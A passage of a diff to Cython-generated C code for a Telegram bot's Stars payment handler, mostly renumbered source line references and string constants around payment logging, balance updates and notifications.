255, __pyx_L4_error) + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 257, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } - __pyx_t_5 = __Pyx_GetItemInt(__pyx_t_4, 0, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 255, __pyx_L4_error) + __pyx_t_5 = __Pyx_GetItemInt(__pyx_t_4, 0, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 257, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - __pyx_t_8 = __Pyx_PyObject_AsDouble(__pyx_t_5); if (unlikely(__pyx_t_8 == ((double)((double)-1)) && PyErr_Occurred())) __PYX_ERR(0, 255, __pyx_L4_error) + __pyx_t_8 = __Pyx_PyObject_AsDouble(__pyx_t_5); if (unlikely(__pyx_t_8 == ((double)((double)-1)) && PyErr_Occurred())) __PYX_ERR(0, 257, __pyx_L4_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_cur_scope->__pyx_v_amount = __pyx_t_8; - __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_logger); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 256, __pyx_L4_error) + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_logger); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 258, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_4); - __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_debug); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 256, __pyx_L4_error) + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_debug); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 258, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - __pyx_t_4 = PyTuple_New(4); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 256, __pyx_L4_error) + __pyx_t_4 = PyTuple_New(4); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 258, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_9 = 0; __pyx_t_10 = 127; @@ -8790,7 +8771,7 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_23generator7(__pyx_Coro __pyx_t_9 += 31; __Pyx_GIVEREF(__pyx_kp_u_Payment_succeeded_for_user_id); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_kp_u_Payment_succeeded_for_user_id); - __pyx_t_11 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_user_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 256, __pyx_L4_error) + __pyx_t_11 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_user_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 258, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_11); __pyx_t_10 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_11) > __pyx_t_10) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_11) : __pyx_t_10; __pyx_t_9 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_11); @@ -8801,9 +8782,9 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_23generator7(__pyx_Coro __pyx_t_9 += 10; __Pyx_GIVEREF(__pyx_kp_u_amount_2); PyTuple_SET_ITEM(__pyx_t_4, 2, __pyx_kp_u_amount_2); - __pyx_t_11 = PyFloat_FromDouble(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 256, __pyx_L4_error) + __pyx_t_11 = PyFloat_FromDouble(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 258, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_11); - __pyx_t_12 = __Pyx_PyObject_FormatSimple(__pyx_t_11, __pyx_empty_unicode); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 256, __pyx_L4_error) + __pyx_t_12 = __Pyx_PyObject_FormatSimple(__pyx_t_11, __pyx_empty_unicode); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 258, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_12); __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; __pyx_t_10 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_12) > __pyx_t_10) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_12) : __pyx_t_10; @@ -8811,7 +8792,7 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_23generator7(__pyx_Coro __Pyx_GIVEREF(__pyx_t_12); PyTuple_SET_ITEM(__pyx_t_4, 3, __pyx_t_12); __pyx_t_12 = 0; - __pyx_t_12 = __Pyx_PyUnicode_Join(__pyx_t_4, 4, __pyx_t_9, __pyx_t_10); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 256, __pyx_L4_error) + __pyx_t_12 = __Pyx_PyUnicode_Join(__pyx_t_4, 4, __pyx_t_9, __pyx_t_10); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 258, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_12); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = NULL; @@ -8833,17 +8814,17 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_23generator7(__pyx_Coro __pyx_t_5 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; - if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 256, __pyx_L4_error) + if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 258, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_add_payment); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 257, __pyx_L4_error) + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_add_payment); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 259, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_6); - __pyx_t_12 = __Pyx_PyNumber_Int(__pyx_cur_scope->__pyx_v_user_id); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 257, __pyx_L4_error) + __pyx_t_12 = __Pyx_PyNumber_Int(__pyx_cur_scope->__pyx_v_user_id); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 259, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_12); - __pyx_t_4 = PyFloat_FromDouble(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 257, __pyx_L4_error) + __pyx_t_4 = PyFloat_FromDouble(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 259, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_11 = NULL; __pyx_t_7 = 0; @@ -8865,7 +8846,7 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_23generator7(__pyx_Coro __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 257, __pyx_L4_error) + if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 259, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } @@ -8895,18 +8876,18 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_23generator7(__pyx_Coro __pyx_t_3 = __pyx_cur_scope->__pyx_t_2; __pyx_cur_scope->__pyx_t_2 = 0; __Pyx_XGOTREF(__pyx_t_3); - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 257, __pyx_L4_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 259, __pyx_L4_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 257, __pyx_L4_error) + else __PYX_ERR(0, 259, __pyx_L4_error) } } - __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_update_balance); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 258, __pyx_L4_error) + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_update_balance); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 260, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_6); - __pyx_t_4 = PyFloat_FromDouble(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 258, __pyx_L4_error) + __pyx_t_4 = PyFloat_FromDouble(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 260, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_12 = NULL; __pyx_t_7 = 0; @@ -8927,7 +8908,7 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_23generator7(__pyx_Coro __pyx_t_5 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_7, 2+__pyx_t_7); __Pyx_XDECREF(__pyx_t_12); __pyx_t_12 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 258, __pyx_L4_error) + if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 260, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } @@ -8957,18 +8938,18 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_23generator7(__pyx_Coro __pyx_t_3 = __pyx_cur_scope->__pyx_t_2; __pyx_cur_scope->__pyx_t_2 = 0; __Pyx_XGOTREF(__pyx_t_3); - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 258, __pyx_L4_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 260, __pyx_L4_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 258, __pyx_L4_error) + else __PYX_ERR(0, 260, __pyx_L4_error) } } - __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_send_payment_success_notificatio); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 259, __pyx_L4_error) + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_send_payment_success_notificatio); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 261, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_6); - __pyx_t_4 = PyFloat_FromDouble(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 259, __pyx_L4_error) + __pyx_t_4 = PyFloat_FromDouble(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 261, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_12 = NULL; __pyx_t_7 = 0; @@ -8989,7 +8970,7 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_23generator7(__pyx_Coro __pyx_t_5 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_7, 2+__pyx_t_7); __Pyx_XDECREF(__pyx_t_12); __pyx_t_12 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 259, __pyx_L4_error) + if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 261, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } @@ -9019,12 +9000,12 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_23generator7(__pyx_Coro __pyx_t_3 = __pyx_cur_scope->__pyx_t_2; __pyx_cur_scope->__pyx_t_2 = 0; __Pyx_XGOTREF(__pyx_t_3); - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 259, __pyx_L4_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 261, __pyx_L4_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 259, __pyx_L4_error) + else __PYX_ERR(0, 261, __pyx_L4_error) } } @@ -9043,7 +9024,7 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_23generator7(__pyx_Coro __pyx_t_13 = __Pyx_PyErr_ExceptionMatches(__pyx_builtin_ValueError); if (__pyx_t_13) { __Pyx_AddTraceback("handlers.payments.stars_pay.on_successful_payment", __pyx_clineno, __pyx_lineno, __pyx_filename); - if (__Pyx_GetException(&__pyx_t_5, &__pyx_t_6, &__pyx_t_4) < 0) __PYX_ERR(0, 260, __pyx_L6_except_error) + if (__Pyx_GetException(&__pyx_t_5, &__pyx_t_6, &__pyx_t_4) < 0) __PYX_ERR(0, 262, __pyx_L6_except_error) __Pyx_XGOTREF(__pyx_t_5); __Pyx_XGOTREF(__pyx_t_6); __Pyx_XGOTREF(__pyx_t_4); @@ -9052,14 +9033,14 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_23generator7(__pyx_Coro __pyx_cur_scope->__pyx_v_e = __pyx_t_6; /*try:*/ { - __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_logger); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 261, __pyx_L18_error) + __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_logger); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 263, __pyx_L18_error) __Pyx_GOTREF(__pyx_t_11); - __pyx_t_14 = __Pyx_PyObject_GetAttrStr(__pyx_t_11, __pyx_n_s_error); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 261, __pyx_L18_error) + __pyx_t_14 = __Pyx_PyObject_GetAttrStr(__pyx_t_11, __pyx_n_s_error); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 263, __pyx_L18_error) __Pyx_GOTREF(__pyx_t_14); __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; - __pyx_t_11 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_e, __pyx_empty_unicode); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 261, __pyx_L18_error) + __pyx_t_11 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_e, __pyx_empty_unicode); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 263, __pyx_L18_error) __Pyx_GOTREF(__pyx_t_11); - __pyx_t_15 = __Pyx_PyUnicode_Concat(__pyx_kp_u_user_id_amount, __pyx_t_11); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 261, __pyx_L18_error) + __pyx_t_15 = __Pyx_PyUnicode_Concat(__pyx_kp_u_user_id_amount, __pyx_t_11); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 263, __pyx_L18_error) __Pyx_GOTREF(__pyx_t_15); __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; __pyx_t_11 = NULL; @@ -9081,7 +9062,7 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_23generator7(__pyx_Coro __pyx_t_12 = __Pyx_PyObject_FastCall(__pyx_t_14, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; - if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 261, __pyx_L18_error) + if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 263, __pyx_L18_error) __Pyx_GOTREF(__pyx_t_12); __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; } @@ -10726,45 +10707,44 @@ static int __Pyx_CreateStringTabAndInitStrings(void) { {&__pyx_kp_u_21U68SOLOBOT, __pyx_k_21U68SOLOBOT, sizeof(__pyx_k_21U68SOLOBOT), 0, 1, 0, 0}, {&__pyx_n_s_AMOUNT_TEXT, __pyx_k_AMOUNT_TEXT, sizeof(__pyx_k_AMOUNT_TEXT), 0, 0, 1, 1}, {&__pyx_n_s_Any, __pyx_k_Any, sizeof(__pyx_k_Any), 0, 0, 1, 1}, + {&__pyx_n_s_BACK, __pyx_k_BACK, sizeof(__pyx_k_BACK), 0, 0, 1, 1}, + {&__pyx_n_s_CUSTOM_AMOUNT, __pyx_k_CUSTOM_AMOUNT, sizeof(__pyx_k_CUSTOM_AMOUNT), 0, 0, 1, 1}, + {&__pyx_n_s_DEFAULT_PAYMENT_MESSAGE, __pyx_k_DEFAULT_PAYMENT_MESSAGE, sizeof(__pyx_k_DEFAULT_PAYMENT_MESSAGE), 0, 0, 1, 1}, + {&__pyx_n_s_ENTER_SUM, __pyx_k_ENTER_SUM, sizeof(__pyx_k_ENTER_SUM), 0, 0, 1, 1}, {&__pyx_n_s_F, __pyx_k_F, sizeof(__pyx_k_F), 0, 0, 1, 1}, {&__pyx_n_s_FSMContext, __pyx_k_FSMContext, sizeof(__pyx_k_FSMContext), 0, 0, 1, 1}, {&__pyx_n_s_InlineKeyboardBuilder, __pyx_k_InlineKeyboardBuilder, sizeof(__pyx_k_InlineKeyboardBuilder), 0, 0, 1, 1}, {&__pyx_n_s_InlineKeyboardButton, __pyx_k_InlineKeyboardButton, sizeof(__pyx_k_InlineKeyboardButton), 0, 0, 1, 1}, {&__pyx_n_s_LabeledPrice, __pyx_k_LabeledPrice, sizeof(__pyx_k_LabeledPrice), 0, 0, 1, 1}, + {&__pyx_n_s_PAY, __pyx_k_PAY, sizeof(__pyx_k_PAY), 0, 0, 1, 1}, {&__pyx_n_s_PAYMENT_OPTIONS, __pyx_k_PAYMENT_OPTIONS, sizeof(__pyx_k_PAYMENT_OPTIONS), 0, 0, 1, 1}, {&__pyx_kp_u_Payment_succeeded_for_user_id, __pyx_k_Payment_succeeded_for_user_id, sizeof(__pyx_k_Payment_succeeded_for_user_id), 0, 1, 0, 0}, {&__pyx_n_s_PreCheckoutQuery, __pyx_k_PreCheckoutQuery, sizeof(__pyx_k_PreCheckoutQuery), 0, 0, 1, 1}, {&__pyx_n_s_RUB_TO_XTR, __pyx_k_RUB_TO_XTR, sizeof(__pyx_k_RUB_TO_XTR), 0, 0, 1, 1}, {&__pyx_n_s_ReplenishBalanceState, __pyx_k_ReplenishBalanceState, sizeof(__pyx_k_ReplenishBalanceState), 0, 0, 1, 1}, {&__pyx_n_s_Router, __pyx_k_Router, sizeof(__pyx_k_Router), 0, 0, 1, 1}, + {&__pyx_n_s_STARS_BOT, __pyx_k_STARS_BOT, sizeof(__pyx_k_STARS_BOT), 0, 0, 1, 1}, {&__pyx_n_s_STARS_ROUTER, __pyx_k_STARS_ROUTER, sizeof(__pyx_k_STARS_ROUTER), 0, 0, 1, 1}, {&__pyx_n_s_State, __pyx_k_State, sizeof(__pyx_k_State), 0, 0, 1, 1}, {&__pyx_n_s_StatesGroup, __pyx_k_StatesGroup, sizeof(__pyx_k_StatesGroup), 0, 0, 1, 1}, {&__pyx_n_s_ValueError, __pyx_k_ValueError, sizeof(__pyx_k_ValueError), 0, 0, 1, 1}, {&__pyx_n_u_XTR, __pyx_k_XTR, sizeof(__pyx_k_XTR), 0, 1, 0, 1}, + {&__pyx_kp_u__10, __pyx_k__10, sizeof(__pyx_k__10), 0, 1, 0, 0}, {&__pyx_kp_u__11, __pyx_k__11, sizeof(__pyx_k__11), 0, 1, 0, 0}, + {&__pyx_kp_u__12, __pyx_k__12, sizeof(__pyx_k__12), 0, 1, 0, 0}, {&__pyx_kp_u__13, __pyx_k__13, sizeof(__pyx_k__13), 0, 1, 0, 0}, {&__pyx_kp_u__14, __pyx_k__14, sizeof(__pyx_k__14), 0, 1, 0, 0}, - {&__pyx_n_u__15, __pyx_k__15, sizeof(__pyx_k__15), 0, 1, 0, 1}, - {&__pyx_kp_u__16, __pyx_k__16, sizeof(__pyx_k__16), 0, 1, 0, 0}, {&__pyx_kp_u__17, __pyx_k__17, sizeof(__pyx_k__17), 0, 1, 0, 0}, {&__pyx_kp_u__18, __pyx_k__18, sizeof(__pyx_k__18), 0, 1, 0, 0}, - {&__pyx_kp_u__19, __pyx_k__19, sizeof(__pyx_k__19), 0, 1, 0, 0}, + {&__pyx_n_u__19, __pyx_k__19, sizeof(__pyx_k__19), 0, 1, 0, 1}, {&__pyx_kp_u__2, __pyx_k__2, sizeof(__pyx_k__2), 0, 1, 0, 0}, {&__pyx_kp_u__20, __pyx_k__20, sizeof(__pyx_k__20), 0, 1, 0, 0}, - {&__pyx_kp_u__22, __pyx_k__22, sizeof(__pyx_k__22), 0, 1, 0, 0}, - {&__pyx_kp_u__23, __pyx_k__23, sizeof(__pyx_k__23), 0, 1, 0, 0}, - {&__pyx_kp_u__25, __pyx_k__25, sizeof(__pyx_k__25), 0, 1, 0, 0}, - {&__pyx_kp_u__26, __pyx_k__26, sizeof(__pyx_k__26), 0, 1, 0, 0}, - {&__pyx_kp_u__27, __pyx_k__27, sizeof(__pyx_k__27), 0, 1, 0, 0}, - {&__pyx_n_u__30, __pyx_k__30, sizeof(__pyx_k__30), 0, 1, 0, 1}, - {&__pyx_kp_u__31, __pyx_k__31, sizeof(__pyx_k__31), 0, 1, 0, 0}, - {&__pyx_n_s__41, __pyx_k__41, sizeof(__pyx_k__41), 0, 0, 1, 1}, + {&__pyx_n_u__23, __pyx_k__23, sizeof(__pyx_k__23), 0, 1, 0, 1}, + {&__pyx_kp_u__24, __pyx_k__24, sizeof(__pyx_k__24), 0, 1, 0, 0}, + {&__pyx_n_s__34, __pyx_k__34, sizeof(__pyx_k__34), 0, 0, 1, 1}, {&__pyx_kp_u__5, __pyx_k__5, sizeof(__pyx_k__5), 0, 1, 0, 0}, {&__pyx_kp_u__6, __pyx_k__6, sizeof(__pyx_k__6), 0, 1, 0, 0}, - {&__pyx_kp_u__7, __pyx_k__7, sizeof(__pyx_k__7), 0, 1, 0, 0}, {&__pyx_kp_u__8, __pyx_k__8, sizeof(__pyx_k__8), 0, 1, 0, 0}, - {&__pyx_kp_u__9, __pyx_k__9, sizeof(__pyx_k__9), 0, 1, 0, 0}, {&__pyx_n_s_add_connection, __pyx_k_add_connection, sizeof(__pyx_k_add_connection), 0, 0, 1, 1}, {&__pyx_n_s_add_payment, __pyx_k_add_payment, sizeof(__pyx_k_add_payment), 0, 0, 1, 1}, {&__pyx_n_s_aiogram, __pyx_k_aiogram, sizeof(__pyx_k_aiogram), 0, 0, 1, 1}, @@ -10814,8 +10794,10 @@ static int __Pyx_CreateStringTabAndInitStrings(void) { {&__pyx_n_s_error, __pyx_k_error, sizeof(__pyx_k_error), 0, 0, 1, 1}, {&__pyx_n_s_exists, __pyx_k_exists, sizeof(__pyx_k_exists), 0, 0, 1, 1}, {&__pyx_n_s_expected_hash, __pyx_k_expected_hash, sizeof(__pyx_k_expected_hash), 0, 0, 1, 1}, + {&__pyx_n_s_format, __pyx_k_format, sizeof(__pyx_k_format), 0, 0, 1, 1}, {&__pyx_kp_u_gc, __pyx_k_gc, sizeof(__pyx_k_gc), 0, 1, 0, 0}, {&__pyx_n_s_get_key_count, __pyx_k_get_key_count, sizeof(__pyx_k_get_key_count), 0, 0, 1, 1}, + {&__pyx_n_s_handlers_buttons, __pyx_k_handlers_buttons, sizeof(__pyx_k_handlers_buttons), 0, 0, 1, 1}, {&__pyx_n_s_handlers_payments_gift, __pyx_k_handlers_payments_gift, sizeof(__pyx_k_handlers_payments_gift), 0, 0, 1, 1}, {&__pyx_n_s_handlers_payments_stars_pay, __pyx_k_handlers_payments_stars_pay, sizeof(__pyx_k_handlers_payments_stars_pay), 0, 0, 1, 1}, {&__pyx_kp_s_handlers_payments_stars_pay_py, __pyx_k_handlers_payments_stars_pay_py, sizeof(__pyx_k_handlers_payments_stars_pay_py), 0, 0, 1, 0}, @@ -10900,8 +10882,8 @@ static int __Pyx_CreateStringTabAndInitStrings(void) { } /* #### Code section: cached_builtins ### */ static CYTHON_SMALL_CODE int __Pyx_InitCachedBuiltins(void) { - __pyx_builtin_range = __Pyx_GetBuiltinName(__pyx_n_s_range); if (!__pyx_builtin_range) __PYX_ERR(0, 75, __pyx_L1_error) - __pyx_builtin_ValueError = __Pyx_GetBuiltinName(__pyx_n_s_ValueError); if (!__pyx_builtin_ValueError) __PYX_ERR(0, 150, __pyx_L1_error) + __pyx_builtin_range = __Pyx_GetBuiltinName(__pyx_n_s_range); if (!__pyx_builtin_range) __PYX_ERR(0, 77, __pyx_L1_error) + __pyx_builtin_ValueError = __Pyx_GetBuiltinName(__pyx_n_s_ValueError); if (!__pyx_builtin_ValueError) __PYX_ERR(0, 152, __pyx_L1_error) return 0; __pyx_L1_error:; return -1; @@ -10912,52 +10894,52 @@ static CYTHON_SMALL_CODE int __Pyx_InitCachedConstants(void) { __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("__Pyx_InitCachedConstants", 0); - __pyx_tuple__12 = PyTuple_Pack(2, __pyx_kp_u__11, __pyx_int_1); if (unlikely(!__pyx_tuple__12)) __PYX_ERR(0, 137, __pyx_L1_error) - __Pyx_GOTREF(__pyx_tuple__12); - __Pyx_GIVEREF(__pyx_tuple__12); + __pyx_tuple__9 = PyTuple_Pack(2, __pyx_kp_u__8, __pyx_int_1); if (unlikely(!__pyx_tuple__9)) __PYX_ERR(0, 139, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__9); + __Pyx_GIVEREF(__pyx_tuple__9); - __pyx_tuple__32 = PyTuple_Pack(4, __pyx_n_s_callback_query, __pyx_n_s_state, __pyx_n_s_session, __pyx_n_s_e); if (unlikely(!__pyx_tuple__32)) __PYX_ERR(0, 34, __pyx_L1_error) + __pyx_tuple__25 = PyTuple_Pack(4, __pyx_n_s_callback_query, __pyx_n_s_state, __pyx_n_s_session, __pyx_n_s_e); if (unlikely(!__pyx_tuple__25)) __PYX_ERR(0, 36, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__25); + __Pyx_GIVEREF(__pyx_tuple__25); + __pyx_codeobj_ = (PyObject*)__Pyx_PyCode_New(3, 0, 0, 4, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__25, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_stars_pay_py, __pyx_n_s_back_to_pay_stars_after_invoice, 36, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj_)) __PYX_ERR(0, 36, __pyx_L1_error) + + __pyx_tuple__26 = PyTuple_Pack(3, __pyx_n_s_callback_query, __pyx_n_s_state, __pyx_n_s_session); if (unlikely(!__pyx_tuple__26)) __PYX_ERR(0, 48, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__26); + __Pyx_GIVEREF(__pyx_tuple__26); + __pyx_codeobj__3 = (PyObject*)__Pyx_PyCode_New(3, 0, 0, 3, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__26, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_stars_pay_py, __pyx_n_s_back_to_pay_stars, 48, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__3)) __PYX_ERR(0, 48, __pyx_L1_error) + + __pyx_tuple__27 = PyTuple_Pack(10, __pyx_n_s_callback_query, __pyx_n_s_state, __pyx_n_s_session, __pyx_n_s_expected_hash, __pyx_n_s_tg_id, __pyx_n_s_builder, __pyx_n_s_i, __pyx_n_s_key_count, __pyx_n_s_exists, __pyx_n_s_e); if (unlikely(!__pyx_tuple__27)) __PYX_ERR(0, 54, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__27); + __Pyx_GIVEREF(__pyx_tuple__27); + __pyx_codeobj__4 = (PyObject*)__Pyx_PyCode_New(3, 0, 0, 10, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__27, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_stars_pay_py, __pyx_n_s_process_callback_pay_stars, 54, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__4)) __PYX_ERR(0, 54, __pyx_L1_error) + + __pyx_tuple__28 = 